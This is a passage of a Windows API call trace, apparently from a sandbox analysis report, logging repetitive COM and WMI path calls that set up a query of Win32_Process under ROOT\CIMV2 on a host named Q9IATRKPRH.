[4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf3e080) returned 0x0 [0064.494] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3e080, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0064.494] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3e080, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3af80) returned 0x0 [0064.494] WbemDefPath:IUnknown:Release (This=0x1bf3e080) returned 0x0 [0064.494] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3af80) returned 0x0 [0064.494] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0064.495] WbemDefPath:IUnknown:AddRef (This=0x1bf3af80) returned 0x3 [0064.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0064.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0064.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf3e100) returned 0x0 [0064.495] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3e100, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0064.495] WbemDefPath:IUnknown:Release (This=0x1bf3e100) returned 0x3 [0064.495] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0064.495] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0064.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0064.495] WbemDefPath:IUnknown:Release (This=0x1bf3af80) returned 0x2 [0064.495] WbemDefPath:IUnknown:Release (This=0x1bf3af80) returned 0x1 [0064.495] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0064.495] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0064.496] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3af80) returned 0x0 [0064.496] WbemDefPath:IUnknown:AddRef (This=0x1bf3af80) returned 0x3 [0064.496] WbemDefPath:IUnknown:Release (This=0x1bf3af80) returned 0x2 [0064.496] WbemDefPath:IWbemPath:SetText (This=0x1bf3af80, uMode=0x4, pszPath="") returned 0x0 [0064.496] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3af80, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0064.496] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3aec0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0064.496] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf3af80, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0064.496] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3af80, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0064.496] WbemDefPath:IWbemPath:SetServer (This=0x1bf3af80, Name="Q9IATRKPRH") returned 0x0 [0064.496] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0064.496] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0064.496] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0064.496] IUnknown:Release (This=0x111f638) returned 0x1 [0064.503] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf3e120) returned 0x0 [0064.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3e120, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0064.503] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3e120, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3b040) returned 0x0 [0064.504] WbemDefPath:IUnknown:Release (This=0x1bf3e120) returned 0x0 [0064.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3b040) returned 0x0 [0064.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0064.504] WbemDefPath:IUnknown:AddRef (This=0x1bf3b040) returned 0x3 [0064.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0064.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0064.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf3e160) returned 0x0 [0064.504] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3e160, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0064.504] WbemDefPath:IUnknown:Release (This=0x1bf3e160) returned 0x3 [0064.504] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0064.504] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0064.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0064.505] WbemDefPath:IUnknown:Release (This=0x1bf3b040) returned 0x2 [0064.505] WbemDefPath:IUnknown:Release (This=0x1bf3b040) returned 0x1 [0064.505] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0064.505] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0064.505] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b040, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3b040) returned 0x0 [0064.505] WbemDefPath:IUnknown:AddRef (This=0x1bf3b040) returned 0x3 [0064.505] WbemDefPath:IUnknown:Release (This=0x1bf3b040) returned 0x2 [0064.505] WbemDefPath:IWbemPath:SetText (This=0x1bf3b040, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0064.505] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3af80, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0064.505] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b040, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0064.505] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b040, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0064.505] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b040, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0064.505] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf3af80) returned 0x0 [0064.505] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b040, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0064.505] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b040, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0064.505] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b040, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0064.505] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3af80, uIndex=0x0, pszName="ROOT") returned 0x0 [0064.505] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b040, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0064.505] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b040, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0064.505] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3af80, uIndex=0x1, pszName="CIMV2") returned 0x0 [0064.505] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf3af80, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0064.505] WbemDefPath:IWbemPath:SetClassName (This=0x1bf3af80, Name="Win32_Process") returned 0x0 [0064.505] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3af80, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0064.506] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3af80, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0064.506] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3af80, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0064.506] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3af80, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0064.506] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3af80, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0064.506] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3af80, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0064.506] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3af80, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0064.506] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3af80, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0064.506] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ad40, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0064.506] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ad40, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0064.506] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ad40, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0064.506] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3af80, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0064.506] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3af80, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0064.506] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0064.506] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0064.506] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0064.506] IUnknown:Release (This=0x111f638) returned 0x1 [0064.508] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bf3e3c0) returned 0x0 [0064.509] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3e3c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0064.509] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3e3c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bf3b100) returned 0x0 [0064.509] WbemDefPath:IUnknown:Release (This=0x1bf3e3c0) returned 0x0 [0064.509] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b100, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bf3b100) returned 0x0 [0064.509] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b100, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0064.509] WbemDefPath:IUnknown:AddRef (This=0x1bf3b100) returned 0x3 [0064.509] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b100, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0064.509] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b100, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0064.509] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b100, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bf3e400) returned 0x0 [0064.509] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3e400, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0064.509] WbemDefPath:IUnknown:Release (This=0x1bf3e400) returned 0x3 [0064.509] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0064.509] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0064.509] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b100, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0064.510] WbemDefPath:IUnknown:Release (This=0x1bf3b100) returned 0x2 [0064.510] WbemDefPath:IUnknown:Release (This=0x1bf3b100) returned 0x1 [0064.510] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0064.510] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0064.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b100, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bf3b100) returned 0x0 [0064.510] WbemDefPath:IUnknown:AddRef (This=0x1bf3b100) returned 0x3 [0064.510] WbemDefPath:IUnknown:Release (This=0x1bf3b100) returned 0x2 [0064.510] WbemDefPath:IWbemPath:SetText (This=0x1bf3b100, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0064.510] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ad40, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0064.510] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ad40, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0064.510] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ad40, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0064.510] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0064.510] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0064.510] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0064.510] IUnknown:Release (This=0x111f638) returned 0x1 [0064.512] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf3e440) returned 0x0 [0064.512] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3e440, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0064.512] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3e440, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3b1c0) returned 0x0 [0064.512] WbemDefPath:IUnknown:Release (This=0x1bf3e440) returned 0x0 [0064.512] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b1c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, 